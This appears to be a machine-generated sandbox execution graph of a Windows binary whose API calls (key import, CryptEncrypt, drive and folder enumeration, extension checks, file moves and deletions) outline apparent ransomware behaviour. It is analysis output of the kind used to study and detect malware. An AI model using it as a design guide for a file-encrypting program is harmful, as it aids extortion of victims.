                                      execution_graph 3690 10005340 3691 10005386 fopen 3690->3691 3692 100053dc 3690->3692 3691->3692 3693 1000539f WideCharToMultiByte fprintf fclose 3691->3693 3693->3692 5084 10003500 5085 10003543 ??3@YAXPAX 5084->5085 5086 1000350f 5084->5086 5087 10003510 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N ??3@YAXPAX 5086->5087 5087->5087 5088 10003542 5087->5088 5088->5085 4523 402185 VirtualFree 4613 40714c 4614 407155 4613->4614 4615 406a97 2 API calls 4614->4615 4616 40721d 4614->4616 4626 40715e 4614->4626 4615->4616 4617 406c40 19 API calls 4616->4617 4616->4626 4618 40725a 4617->4618 4619 40729c 4618->4619 4621 407263 4618->4621 4620 4072c7 strcpy 4619->4620 4623 4072a1 4619->4623 4624 407343 4620->4624 4625 4072da 4620->4625 4622 407070 7 API calls 4621->4622 4621->4626 4622->4626 4623->4626 4630 4073d5 4623->4630 4631 4073c8 ??2@YAPAXI 4623->4631 4627 40737b wsprintfA 4624->4627 4628 4072e1 wsprintfA 4624->4628 4625->4628 4629 407070 7 API calls 4627->4629 4642 407070 4628->4642 4633 40730f CreateFileA 4629->4633 4636 4073fb WriteFile 4630->4636 4639 407421 4630->4639 4640 40743c SetFileTime 4630->4640 4652 406880 4630->4652 4631->4630 4633->4623 4636->4630 4636->4639 4637 407460 FindCloseChangeNotification 4638 407469 4637->4638 4641 406a97 2 API calls 4638->4641 4639->4637 4639->4638 4640->4639 4641->4626 4643 407082 GetFileAttributesA 4642->4643 4646 407097 4642->4646 4644 40708e CreateDirectoryA 4643->4644 4643->4646 4644->4646 4645 407132 4645->4633 4646->4645 4647 4070bf memcpy 4646->4647 4651 4070e4 4646->4651 4647->4651 4648 407102 strcat GetFileAttributesA 4648->4645 4650 407123 CreateDirectoryA 4648->4650 4649 4070f3 strcpy 4649->4648 4650->4645 4651->4648 4651->4649 4653 406897 4652->4653 4658 4068a0 4653->4658 4659 406908 4653->4659 4660 40583c 4653->4660 4654 405d0e SetFilePointer 4654->4659 4656 406a79 4656->4658 4657 405d8a 2 API calls 4657->4659 4658->4630 4659->4653 4659->4654 4659->4656 4659->4657 4661 405a87 4660->4661 4663 40584d 4660->4663 4661->4653 4663->4661 4664 4043b6 4663->4664 4666 4043e6 4664->4666 4665 403bd6 2 API calls 4674 4049ec 4665->4674 4667 4045f6 memcpy 4666->4667 4668 40461c 4666->4668 4670 4049c2 4666->4670 4671 404a94 4666->4671 4675 404b44 4666->4675 4677 403bd6 4666->4677 4683 403cfc 4666->4683 4667->4666 4667->4668 4668->4663 4670->4665 4673 403bd6 2 API calls 4671->4673 4673->4674 4674->4663 4676 403bd6 2 API calls 4675->4676 4676->4670 4678 403bf6 4677->4678 4679 403c35 memcpy 4678->4679 4680 403c4a 4678->4680 4679->4680 4681 403cb4 4680->4681 4682 403c9f memcpy 4680->4682 4681->4666 4682->4681 4689 403d2f 4683->4689 4684 403bd6 2 API calls 4685 40427f 4684->4685 4685->4666 4686 403f71 4686->4666 4687 403f69 4687->4684 4687->4686 4688 403bd6 memcpy memcpy 4688->4689 4689->4686 4689->4687 4689->4688 5092 40774c ??1type_info@@UAE 5093 407762 5092->5093 5094 40775b ??3@YAXPAX 5092->5094 5094->5093 5159 40790c _exit 5099 402a53 5100 402a5b ctype 5099->5100 5101 402a62 ??3@YAXPAX 5100->5101 5102 402a69 5100->5102 5101->5102 5103 10006e16 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 5104 4066d6 5105 4066e7 5104->5105 5108 405e27 5105->5108 5113 405def 5108->5113 5110 405e38 5111 405e4d 5110->5111 5112 405def 2 API calls 5110->5112 5112->5111 5114 405d8a 2 API calls 5113->5114 5115 405e03 5114->5115 5115->5110 5161 406216 5162 406245 5161->5162 5163 405e27 2 API calls 5162->5163 5164 406250 5163->5164 5165 405e27 2 API calls 5164->5165 5166 406264 5165->5166 5167 405e27 2 API calls 5166->5167 5168 406278 5167->5168 5169 405e27 2 API calls 5168->5169 5170 40628c 5169->5170 5203 405e6b 5170->5203 5172 4062a0 5173 405e6b 2 API calls 5172->5173 5174 4062c0 5173->5174 5175 405e6b 2 API calls 5174->5175 5176 4062d5 5175->5176 5177 405e6b 2 API calls 5176->5177 5178 4062e9 5177->5178 5179 405e27 2 API calls 5178->5179 5180 4062fd 5179->5180 5181 405e27 2 API calls 5180->5181 5182 406311 5181->5182 5183 405e27 2 API calls 5182->5183 5184 406325 5183->5184 5185 405e27 2 API calls 5184->5185 5186 406339 5185->5186 5187 405e27 2 API calls 5186->5187 5188 40634d 5187->5188 5189 405e6b 2 API calls 5188->5189 5190 406361 5189->5190 5191 405e6b 2 API calls 5190->5191 5196 406375 5191->5196 5192 4063be 5193 40641e 5192->5193 5195 4063f6 5192->5195 5197 405d0e SetFilePointer 5192->5197 5194 406486 5193->5194 5198 405d0e SetFilePointer 5193->5198 5200 406464 5193->5200 5195->5193 5201 405d8a 2 API calls 5195->5201 5196->5192 5196->5193 5199 405d8a 2 API calls 5196->5199 5197->5195 5198->5200 5199->5192 5200->5194 5202 405d8a 2 API calls 5200->5202 5201->5193 5202->5194 5204 405def 2 API calls 5203->5204 5205 405e7d 5204->5205 5206 405e90 5205->5206 5207 405def 2 API calls 5205->5207 5208 405ea8 5206->5208 5209 405def 2 API calls 5206->5209 5207->5206 5210 405def 2 API calls 5208->5210 5211 405ec0 5208->5211 5209->5208 5210->5211 5211->5172 4723 402198 LoadLibraryA 5212 40799c ??3@YAXPAX 5083 4056dd calloc 5116 40135e 5117 40137a ctype 6 API calls 5116->5117 5118 401366 5117->5118 5119 401374 5118->5119 5120 40136d ??3@YAXPAX 5118->5120 5120->5119 5121 4041de 5122 4041e4 5121->5122 5123 403bd6 2 API calls 5122->5123 5124 4041fb 5123->5124 5125 403bd6 2 API calls 5124->5125 5126 40427f 5125->5126 5213 40621e 5214 405e6b 2 API calls 5213->5214 5215 406226 5214->5215 5216 405e27 2 API calls 5215->5216 5217 406250 5216->5217 5218 405e27 2 API calls 5217->5218 5219 406264 5218->5219 5220 405e27 2 API calls 5219->5220 5221 406278 5220->5221 5222 405e27 2 API calls 5221->5222 5223 40628c 5222->5223 5224 405e6b 2 API calls 5223->5224 5225 4062a0 5224->5225 5226 405e6b 2 API calls 5225->5226 5227 4062c0 5226->5227 5228 405e6b 2 API calls 5227->5228 5229 4062d5 5228->5229 5230 405e6b 2 API calls 5229->5230 5231 4062e9 5230->5231 5232 405e27 2 API calls 5231->5232 5233 4062fd 5232->5233 5234 405e27 2 API calls 5233->5234 5235 406311 5234->5235 5236 405e27 2 API calls 5235->5236 5237 406325 5236->5237 5238 405e27 2 API calls 5237->5238 5239 406339 5238->5239 5240 405e27 2 API calls 5239->5240 5241 40634d 5240->5241 5242 405e6b 2 API calls 5241->5242 5243 406361 5242->5243 5244 405e6b 2 API calls 5243->5244 5249 406375 5244->5249 5245 406486 5246 40641e 5246->5245 5251 406464 5246->5251 5252 405d0e SetFilePointer 5246->5252 5247 4063f6 5247->5246 5254 405d8a 2 API calls 5247->5254 5248 4063be 5248->5246 5248->5247 5250 405d0e SetFilePointer 5248->5250 5249->5246 5249->5248 5253 405d8a 2 API calls 5249->5253 5250->5247 5251->5245 5255 405d8a 2 API calls 5251->5255 5252->5251 5253->5248 5254->5246 5255->5245 5127 4066df 5128 4066e4 5127->5128 5129 405e27 2 API calls 5128->5129 5130 4066f4 5129->5130 5256 10006cdf 5258 10006cfb 5256->5258 5260 10006cf2 5256->5260 5258->5260 5263 10006d23 5258->5263 5264 10006c34 5258->5264 5259 10006d43 5262 10006c34 3 API calls 5259->5262 5259->5263 5260->5259 5261 10006c34 3 API calls 5260->5261 5260->5263 5261->5259 5262->5263 5265 10006c3c 5264->5265 5266 10006c72 5265->5266 5267 10006c5d malloc 5265->5267 5269 10006c9c 5265->5269 5266->5260 5267->5266 5268 10006c76 _initterm 5267->5268 5268->5266 5269->5266 5270 10006cc9 free 5269->5270 5270->5266 3694 10005ae0 3695 10005b0c 3694->3695 3738 10005d3d 3694->3738 3739 10004690 CreateMutexA 3695->3739 3697 10005b11 3698 10005b19 GetModuleFileNameW wcsrchr 3697->3698 3697->3738 3699 10005b70 SetCurrentDirectoryW 3698->3699 3700 10005b61 wcsrchr 3698->3700 3743 10001000 3699->3743 3700->3699 3702 10005b87 3702->3738 3753 100012d0 3702->3753 3706 10005ba1 3707 10005ba9 sprintf sprintf sprintf 3706->3707 3706->3738 3766 10004600 OpenMutexA 3707->3766 3709 10005be2 3710 10005d42 CreateThread WaitForSingleObject CloseHandle 3709->3710 3774 10004500 sprintf GetFileAttributesA 3709->3774 3710->3738 4457 10004990 31 API calls 3710->4457 3712 10005bf3 3712->3710 3713 10005bfe ??2@YAPAXI 3712->3713 3714 10005c1e 3713->3714 3715 10005c17 3713->3715 3714->3738 3787 10003ac0 3714->3787 3873 10003a10 InitializeCriticalSection 3715->3873 3718 10005c48 3718->3738 3817 100046d0 CreateFileA 3718->3817 3720 10005c55 3721 10005c61 DeleteFileA 3720->3721 3722 10005c8e 3720->3722 3820 10004420 CryptGenRandom 3721->3820 3821 10003bb0 3722->3821 3727 10005cba FindCloseChangeNotification 3728 10005cbd Sleep CreateThread 3727->3728 3729 10005cd7 CloseHandle 3728->3729 3730 10005cda Sleep CreateThread Sleep CreateThread 3728->3730 4452 100045c0 3728->4452 3729->3730 3731 10005d05 FindCloseChangeNotification 3730->3731 3732 10005d08 Sleep CreateThread 3730->3732 4440 10005730 GetLogicalDrives 3730->4440 4446 10005300 3730->4446 3731->3732 3733 10005d21 CloseHandle 3732->3733 3734 10005d24 Sleep 3732->3734 4430 10004990 3732->4430 3733->3734 3828 100057c0 3734->3828 3737 10005d31 WaitForSingleObject CloseHandle 3737->3738 3740 100046c1 3739->3740 3741 100046a6 GetLastError 3739->3741 3740->3697 3741->3740 3742 100046b3 CloseHandle 3741->3742 3742->3697 3744 1000100a fopen 3743->3744 3746 1000102a 3744->3746 3747 1000105f 3744->3747 3748 10001043 fwrite 3746->3748 3749 10001036 fread 3746->3749 3747->3702 3750 1000104e 3748->3750 3749->3750 3751 10001064 fclose 3750->3751 3752 10001056 fclose 3750->3752 3751->3702 3752->3747 3874 100011d0 GetCurrentProcess OpenProcessToken 3753->3874 3755 100012fb 3756 10001303 3755->3756 3757 1000130f GetUserNameW 3755->3757 3758 10001331 _wcsicmp 3756->3758 3757->3758 3759 1000133e 3758->3759 3760 10003410 3759->3760 3890 10004440 3760->3890 3762 10003416 3763 10003427 3762->3763 3764 1000342e LoadLibraryA 3762->3764 3763->3706 3764->3763 3765 10003443 7 API calls 3764->3765 3765->3763 3767 1000461a CloseHandle 3766->3767 3768 1000462b sprintf CreateMutexA 3766->3768 3767->3709 3769 1000467b 3768->3769 3770 1000465d GetLastError 3768->3770 3895 100013e0 6 API calls 3769->3895 3770->3769 3771 1000466a CloseHandle 3770->3771 3771->3709 3773 10004681 3773->3709 3775 100045a2 3774->3775 3776 10004543 GetFileAttributesA 3774->3776 3775->3712 3776->3775 3777 1000454f 3776->3777 3896 10003a10 InitializeCriticalSection 3777->3896 3779 10004558 3897 10003d10 3779->3897 3781 10004573 3782 10004583 3781->3782 3783 1000459d 3781->3783 3913 10003a60 DeleteCriticalSection 3782->3913 3914 10003a60 DeleteCriticalSection 3783->3914 3786 10004588 3786->3712 3788 10003a80 CryptAcquireContextA 3787->3788 3789 10003aca 3788->3789 3790 10003add 3789->3790 3791 10003ace 3789->3791 3792 10003ae5 CryptImportKey 3790->3792 3793 10003b16 3790->3793 3794 10003bb0 3 API calls 3791->3794 3795 10003ba3 3792->3795 3796 10003b07 3792->3796 3932 10003c00 3793->3932 3798 10003ad5 3794->3798 3795->3718 3799 10003bb0 3 API calls 3796->3799 3798->3718 3801 10003b0e 3799->3801 3801->3718 3802 10003b22 CryptImportKey 3804 10003b40 3802->3804 3805 10003b86 3802->3805 3803 10003b95 3803->3795 3806 10003b9c CryptDestroyKey 3803->3806 3937 10004350 CryptGenKey 3804->3937 3807 10003bb0 3 API calls 3805->3807 3806->3795 3809 10003b8d 3807->3809 3809->3718 3810 10003b4d 3810->3805 3938 10004040 CryptExportKey 3810->3938 3812 10003b63 3812->3805 3813 10003b7a 3812->3813 3946 10003c40 3812->3946 3815 10003c00 8 API calls 3813->3815 3816 10003b82 3815->3816 3816->3803 3816->3805 3818 100046f3 3817->3818 3819 100046f8 ReadFile CloseHandle 3817->3819 3818->3720 3819->3720 3820->3722 3822 10003bc8 3821->3822 3823 10003bba CryptDestroyKey 3821->3823 3824 10003bdd 3822->3824 3825 10003bcf CryptDestroyKey 3822->3825 3823->3822 3826 10003bf4 CreateThread 3824->3826 3827 10003be4 CryptReleaseContext 3824->3827 3825->3824 3826->3727 3826->3728 4424 10004790 3826->4424 3827->3826 3970 10001590 3828->3970 3830 100057e8 3976 10001830 3830->3976 3832 1000580c 3833 10005814 GetFileAttributesA 3832->3833 3834 10005aae 3832->3834 3835 10005824 3833->3835 4065 10001680 3834->4065 3837 10005881 3835->3837 3838 1000583c time 3835->3838 3986 10004cd0 GetFileAttributesW 3837->3986 4015 10004730 CreateFileA 3838->4015 3842 10005850 sprintf 4018 10001080 CreateProcessA 3842->4018 3847 10005875 3849 10001000 5 API calls 3847->3849 3849->3837 3850 100058ba InterlockedExchange 3851 1000591c GetLogicalDrives 3850->3851 3864 1000589b 3850->3864 3851->3864 3852 10001080 6 API calls 3852->3864 3853 1000599d InterlockedExchange 4044 10004a40 SHGetFolderPathW wcslen 3853->4044 3855 1000596b 3858 10005972 GetDriveTypeW 3855->3858 3855->3864 4026 10005540 3855->4026 3856 1000595f GetDriveTypeW 3856->3855 3856->3864 3857 100059b8 3859 100059f4 time 3857->3859 3860 100059ce sprintf 3857->3860 3858->3855 3858->3864 3863 10004730 3 API calls 3859->3863 3862 10001080 6 API calls 3860->3862 3862->3857 3865 10005a09 3863->3865 3864->3834 3864->3850 3864->3851 3864->3852 3864->3853 3864->3855 3864->3856 3866 10005a10 sprintf 3865->3866 3871 100058b6 3865->3871 3867 10001080 6 API calls 3866->3867 3867->3871 3868 10005a93 Sleep 3869 10005aab 3868->3869 3868->3871 3869->3834 3870 10005190 29 API calls 3870->3871 3871->3850 3871->3868 3871->3870 3872 10005a5d GetDriveTypeW 3871->3872 3872->3871 3873->3714 3875 100011f5 3874->3875 3876 100011fb GetTokenInformation 3874->3876 3875->3755 3877 1000121a GetLastError 3876->3877 3878 1000122d GlobalAlloc GetTokenInformation 3876->3878 3877->3878 3881 10001225 3877->3881 3879 10001254 3878->3879 3880 1000125a LoadLibraryA 3878->3880 3879->3755 3882 10001269 3880->3882 3883 1000126f GetProcAddress 3880->3883 3881->3755 3882->3755 3884 10001285 3883->3884 3885 1000127f 3883->3885 3886 100012a1 wcscpy 3884->3886 3887 1000129b 3884->3887 3885->3755 3888 100012b8 GlobalFree 3886->3888 3889 100012bf 3886->3889 3887->3755 3888->3889 3889->3755 3891 10004451 LoadLibraryA 3890->3891 3892 1000444a 3890->3892 3893 10004466 6 API calls 3891->3893 3894 100044c6 3891->3894 3892->3762 3893->3894 3894->3762 3895->3773 3896->3779 3915 10003a80 3897->3915 3899 10003d9e 3900 10003e43 3899->3900 3920 10003f00 CreateFileA 3899->3920 3900->3781 3902 10003dbe 3903 10003e35 _local_unwind2 3902->3903 3904 10003f00 7 API calls 3902->3904 3903->3900 3906 10003dda 3904->3906 3906->3903 3907 10003de5 CryptEncrypt 3906->3907 3907->3903 3908 10003e58 CryptDecrypt 3907->3908 3908->3903 3909 10003e82 strncmp 3908->3909 3910 10003ed4 3909->3910 3911 10003eae _local_unwind2 3909->3911 3929 10003ef6 3910->3929 3911->3781 3913->3786 3914->3775 3916 10003a87 CryptAcquireContextA 3915->3916 3917 10003ab0 3916->3917 3918 10003aa7 3916->3918 3917->3899 3918->3916 3919 10003aad 3918->3919 3919->3899 3921 10003f6b _local_unwind2 3920->3921 3922 10003f59 GetFileSize 3920->3922 3921->3902 3922->3921 3923 10003f75 3922->3923 3923->3921 3925 10003f88 GlobalAlloc 3923->3925 3925->3921 3926 10003f99 ReadFile 3925->3926 3926->3921 3927 10003fb4 CryptImportKey 3926->3927 3927->3921 3928 10003fd1 _local_unwind2 3927->3928 3928->3902 3930 10003bb0 3 API calls 3929->3930 3931 10003efd 3930->3931 3931->3900 3933 10003c1b 3932->3933 3934 10003c0e CryptDestroyKey 3932->3934 3935 10003f00 7 API calls 3933->3935 3934->3933 3936 10003b1e 3935->3936 3936->3802 3936->3803 3937->3810 3939 10004099 GlobalAlloc 3938->3939 3942 10004091 _local_unwind2 3938->3942 3941 100040b5 CryptExportKey 3939->3941 3939->3942 3941->3942 3943 100040eb CreateFileA 3941->3943 3942->3812 3943->3942 3944 10004116 WriteFile 3943->3944 3944->3942 3945 1000412e _local_unwind2 3944->3945 3945->3812 3947 10003c67 3946->3947 3948 10003c5d 3946->3948 3955 10004170 3947->3955 3948->3813 3950 10003c7f 3951 10003c90 CreateFileA 3950->3951 3952 10003c88 3950->3952 3953 10003cb0 SetFilePointer WriteFile WriteFile 3951->3953 3954 10003ce6 GlobalFree 3951->3954 3952->3813 3953->3954 3954->3813 3968 10006bd0 3955->3968 3958 100041c2 CryptGetKeyParam 3960 10004206 GlobalAlloc 3958->3960 3961 100041e9 3958->3961 3959 100041b7 3959->3950 3962 10004237 3960->3962 3964 10004254 3960->3964 3961->3950 3962->3950 3962->3962 3963 100042fc 3963->3950 3964->3963 3965 1000427e CryptEncrypt 3964->3965 3965->3964 3966 1000431b GlobalFree 3965->3966 3967 1000432f 3966->3967 3967->3950 3967->3967 3969 1000417a CryptExportKey 3968->3969 3969->3958 3969->3959 4076 10003a10 InitializeCriticalSection 3970->4076 3972 100015b8 4077 10003a10 InitializeCriticalSection 3972->4077 3974 100015c6 3975 100015d3 ??2@YAPAXI 3974->3975 3975->3830 3977 10003ac0 33 API calls 3976->3977 3978 10001843 3977->3978 3979 10001847 3978->3979 3980 1000185c GlobalAlloc 3978->3980 3981 10003ac0 33 API calls 3978->3981 3979->3832 3982 10001875 3980->3982 3983 1000187a GlobalAlloc 3980->3983 3981->3980 3982->3832 3984 10001892 InitializeCriticalSection CreateThread GetTickCount srand 3983->3984 3985 1000188d 3983->3985 3984->3832 4078 100029e0 3984->4078 3985->3832 3987 10004ce9 CopyFileA 3986->3987 3988 10004cfb GetFileAttributesW 3986->3988 3987->3988 3989 10004dd5 3988->3989 3990 10004d0b GetCurrentDirectoryA 3988->3990 3994 10004df0 3989->3994 3991 10004d5b 3990->3991 3992 10004d9e sprintf 3990->3992 3991->3992 4096 10001140 6 API calls 3992->4096 3995 10006bd0 3994->3995 3996 10004dfa GetFileAttributesW 3995->3996 3997 10004e11 fopen 3996->3997 3998 10004f0f 3996->3998 3997->3998 3999 10004e2e fread fclose _wfopen 3997->3999 4004 10005480 SHGetFolderPathW wcslen 3998->4004 3999->3998 4000 10004e7c 3999->4000 4001 10004e85 _ftol sprintf 4000->4001 4002 10004ea8 sprintf 4000->4002 4003 10004ec9 sprintf fwrite fclose 4001->4003 4002->4003 4003->3998 4005 100054e1 SHGetFolderPathW wcslen 4004->4005 4006 100054d3 4004->4006 4008 10005513 4005->4008 4009 10005505 4005->4009 4101 100027f0 ??2@YAPAXI 4006->4101 4011 10004a40 16 API calls 4008->4011 4010 100027f0 168 API calls 4009->4010 4010->4008 4012 10005520 4011->4012 4013 10004a40 16 API calls 4012->4013 4014 1000552d 4013->4014 4014->3864 4016 10004756 4015->4016 4017 1000475b WriteFile FindCloseChangeNotification 4015->4017 4016->3842 4017->3842 4019 10001135 4018->4019 4020 100010dd 4018->4020 4019->3847 4021 100010e5 WaitForSingleObject 4020->4021 4022 10001116 CloseHandle CloseHandle 4020->4022 4023 10001102 4021->4023 4024 100010f5 TerminateProcess 4021->4024 4022->3847 4023->4022 4025 1000110a GetExitCodeProcess 4023->4025 4024->4023 4025->4022 4027 100055f2 GetDriveTypeW 4026->4027 4028 10005577 InterlockedExchangeAdd 4026->4028 4029 10005668 4027->4029 4031 10005604 InterlockedExchange 4027->4031 4028->4029 4030 1000558c 4028->4030 4029->3855 4032 1000559a GetDiskFreeSpaceExW 4030->4032 4034 100055c6 Sleep 4030->4034 4038 100055de GetDriveTypeW 4030->4038 4033 10005610 GetDriveTypeW 4031->4033 4032->4030 4032->4034 4035 10005653 4033->4035 4036 10005623 4033->4036 4034->4032 4039 100055d3 4034->4039 4037 100027f0 168 API calls 4035->4037 4401 10005060 GetWindowsDirectoryW 4036->4401 4037->4029 4038->4029 4041 100055f0 4038->4041 4039->3855 4041->4033 4042 10005644 4408 10001910 wcscpy swprintf 4042->4408 4045 10004ab9 wcsrchr 4044->4045 4046 10004aac 4044->4046 4047 10004ada wcschr 4045->4047 4048 10004acf 4045->4048 4046->3857 4049 10004b01 4047->4049 4050 10004af6 4047->4050 4048->3857 4051 10004b54 swprintf FindFirstFileW 4049->4051 4052 10004b0b SHGetFolderPathW wcslen 4049->4052 4050->3857 4053 10004bbc 4051->4053 4054 10004baf 4051->4054 4052->4051 4055 10004b33 wcsrchr 4052->4055 4057 10004bca wcscmp 4053->4057 4054->3857 4055->4051 4056 10004b4c 4055->4056 4056->4051 4058 10004c95 FindNextFileW 4057->4058 4059 10004be8 wcscmp 4057->4059 4058->4057 4061 10004cb0 FindClose 4058->4061 4059->4058 4060 10004c06 4059->4060 4060->4058 4062 10004c14 swprintf 4060->4062 4063 10004c4f wcscmp 4060->4063 4061->3857 4062->4060 4063->4058 4064 10004c5e swprintf 4063->4064 4064->4058 4409 10001760 4065->4409 4068 100016fe ??3@YAXPAX 4069 10001728 4068->4069 4422 10003a60 DeleteCriticalSection 4069->4422 4070 100016c5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N ??3@YAXPAX 4070->4070 4071 100016fd 4070->4071 4071->4068 4073 10001734 4423 10003a60 DeleteCriticalSection 4073->4423 4075 10001744 4075->3737 4075->3738 4076->3972 4077->3974 4081 100029f0 4078->4081 4082 10002b88 ExitThread 4081->4082 4086 10002a04 4081->4086 4083 10002a12 Sleep 4083->4086 4084 10002a2f EnterCriticalSection 4085 10002b6f LeaveCriticalSection 4084->4085 4084->4086 4085->4082 4085->4086 4086->4082 4086->4083 4086->4084 4087 10002a68 wcslen 4086->4087 4094 10002b46 ??3@YAXPAX 4086->4094 4095 10002b3a ??3@YAXPAX 4086->4095 4088 10002ae4 DeleteFileW 4087->4088 4089 10002a76 MoveFileExW 4087->4089 4088->4086 4092 10002aef GetFileAttributesW SetFileAttributesW MoveFileExW 4088->4092 4090 10002a84 GetFileAttributesW 4089->4090 4091 10002aab swprintf MoveFileExW 4089->4091 4090->4091 4093 10002a90 GetFileAttributesW SetFileAttributesW MoveFileExW 4090->4093 4091->4086 4091->4088 4092->4086 4093->4091 4094->4085 4094->4086 4095->4094 4097 10001190 4096->4097 4098 10001198 fprintf fclose 4096->4098 4097->3989 4099 10001080 6 API calls 4098->4099 4100 100011c1 4099->4100 4100->3989 4111 10002300 ??2@YAPAXI 4101->4111 4103 100028b8 4169 10002ba0 4103->4169 4106 100028c1 4109 10002912 ??3@YAXPAX 4106->4109 4110 100028eb ??3@YAXPAX 4106->4110 4107 10002853 4107->4103 4108 10002885 ??3@YAXPAX 4107->4108 4158 10002940 4107->4158 4108->4107 4109->4005 4110->4106 4110->4109 4186 10003730 ??2@YAPAXI 4111->4186 4114 10002413 4188 10002f70 GetTempFileNameW CreateFileW 4114->4188 4115 100023af 4225 100036a0 4115->4225 4118 100023cd ??3@YAXPAX 4231 100037c0 4118->4231 4121 10002438 wcscmp 4124 1000262a FindNextFileW 4121->4124 4125 1000244f wcscmp 4121->4125 4122 100027c9 4122->4107 4123 10002642 FindClose 4126 10002686 4123->4126 4134 1000265a 4123->4134 4124->4123 4130 10002419 4124->4130 4125->4124 4127 10002466 swprintf 4125->4127 4129 10002694 _wcsnicmp 4126->4129 4132 100026b4 4126->4132 4127->4130 4128 10002940 103 API calls 4128->4134 4129->4132 4130->4121 4130->4123 4130->4124 4131 1000252b wcscmp 4130->4131 4137 100024b1 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 4130->4137 4156 100025bf wcsncpy wcsncpy 4130->4156 4191 100032c0 _wcsnicmp 4130->4191 4234 10002d60 wcsrchr 4130->4234 4131->4124 4135 10002542 wcscmp 4131->4135 4155 10002706 4132->4155 4217 10003200 swprintf CopyFileW 4132->4217 4134->4126 4134->4128 4140 10003760 ??2@YAPAXI 4134->4140 4135->4124 4141 10002559 wcscmp 4135->4141 4136 10002746 4139 10002771 ??3@YAXPAX 4136->4139 4153 1000276d 4136->4153 4220 10003620 4136->4220 4213 100035c0 ??2@YAPAXI 4137->4213 4145 100027b7 ??3@YAXPAX 4139->4145 4146 1000278e ??3@YAXPAX 4139->4146 4140->4134 4141->4124 4141->4130 4143 100026f9 4148 10002701 4143->4148 4149 10002708 4143->4149 4145->4122 4146->4145 4146->4146 4218 10003280 swprintf CopyFileW 4148->4218 4219 10003240 swprintf CopyFileW 4149->4219 4151 10002300 141 API calls 4151->4155 4153->4139 4155->4136 4155->4151 4251 10003760 ??2@YAPAXI 4156->4251 4159 10002953 4158->4159 4160 100029aa 4159->4160 4161 100029b1 DeleteFileW 4159->4161 4162 10002973 4159->4162 4163 1000295f 4159->4163 4160->4107 4161->4160 4165 10002200 100 API calls 4162->4165 4267 10002200 4163->4267 4167 1000297d 4165->4167 4166 10002969 4166->4107 4167->4160 4168 10002981 wcscat wcscat 4167->4168 4168->4160 4170 10002bcb wcslen 4169->4170 4171 10002cfd wcslen 4169->4171 4172 10002be2 4170->4172 4173 10002bef EnterCriticalSection wcslen ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 4170->4173 4174 10002d11 DeleteFileW 4171->4174 4175 10002d18 4171->4175 4379 10003010 4172->4379 4177 10002c48 ??2@YAPAXI 4173->4177 4178 10002c2d 4173->4178 4174->4175 4175->4106 4180 10002c65 4177->4180 4178->4177 4179 10002bec 4179->4173 4181 10003810 7 API calls 4180->4181 4182 10002c8a 4181->4182 4183 10002cde LeaveCriticalSection 4182->4183 4184 10002cd2 ??3@YAXPAX 4182->4184 4185 10002cae LeaveCriticalSection 4182->4185 4183->4106 4184->4183 4185->4106 4187 10002363 swprintf FindFirstFileW 4186->4187 4187->4114 4187->4115 4189 10002fc7 CloseHandle DeleteFileW 4188->4189 4190 10002fdd 4188->4190 4189->4190 4190->4130 4192 100032e2 wcsstr 4191->4192 4193 100032ef 4191->4193 4192->4193 4194 10003300 _wcsicmp 4193->4194 4195 100033b9 _wcsicmp 4193->4195 4196 10003312 4194->4196 4197 1000331d _wcsicmp 4194->4197 4198 100033d7 _wcsicmp 4195->4198 4199 100033cc 4195->4199 4196->4130 4202 10003337 _wcsicmp 4197->4202 4203 1000332c 4197->4203 4200 100033f1 _wcsicmp 4198->4200 4201 100033e6 4198->4201 4199->4130 4200->4130 4201->4130 4204 10003351 _wcsicmp 4202->4204 4205 10003346 4202->4205 4203->4130 4206 10003360 4204->4206 4207 1000336b _wcsicmp 4204->4207 4205->4130 4206->4130 4208 10003385 wcsstr 4207->4208 4209 1000337a 4207->4209 4210 10003394 4208->4210 4211 1000339f wcsstr 4208->4211 4209->4130 4210->4130 4211->4195 4212 100033ae 4211->4212 4212->4130 4214 100035df 4213->4214 4253 10003810 4214->4253 4216 10002508 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 4216->4124 4217->4143 4218->4155 4219->4155 4221 10003660 ??3@YAXPAX 4220->4221 4222 10003641 4220->4222 4221->4136 4223 10003654 ??3@YAXPAX 4222->4223 4224 1000364d 4222->4224 4223->4221 4224->4221 4226 1000371a 4225->4226 4229 100036b0 4225->4229 4226->4118 4227 100036ec ??3@YAXPAX 4227->4229 4230 1000370d 4227->4230 4228 100036e0 ??3@YAXPAX 4228->4227 4229->4227 4229->4228 4230->4118 4232 100037d1 ??3@YAXPAX 4231->4232 4233 100023ff ??3@YAXPAX 4231->4233 4232->4232 4232->4233 4233->4122 4235 10002d79 4234->4235 4236 10002d7f _wcsicmp 4234->4236 4235->4130 4237 10002d98 _wcsicmp 4236->4237 4238 10002e5b 4236->4238 4237->4238 4239 10002dab _wcsicmp 4237->4239 4238->4130 4240 10002dba 4239->4240 4244 10002dc5 4239->4244 4240->4130 4241 10002dd3 _wcsicmp 4241->4244 4245 10002e11 4241->4245 4242 10002e27 _wcsicmp 4248 10002e41 _wcsicmp 4242->4248 4249 10002e36 4242->4249 4243 10002df8 _wcsicmp 4246 10002dea 4243->4246 4247 10002e1c 4243->4247 4244->4241 4244->4246 4245->4130 4246->4242 4246->4243 4250 10002e0f 4246->4250 4247->4130 4248->4130 4249->4130 4250->4242 4252 1000377f 4251->4252 4252->4124 4254 10003840 4253->4254 4260 10003944 4253->4260 4255 10003868 4254->4255 4256 100038db 4254->4256 4258 10003874 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 4255->4258 4259 1000386e ?_Xran@std@ 4255->4259 4257 10003935 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 4256->4257 4262 100038f5 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 4256->4262 4257->4260 4263 10003885 4258->4263 4259->4258 4260->4216 4261 100038c0 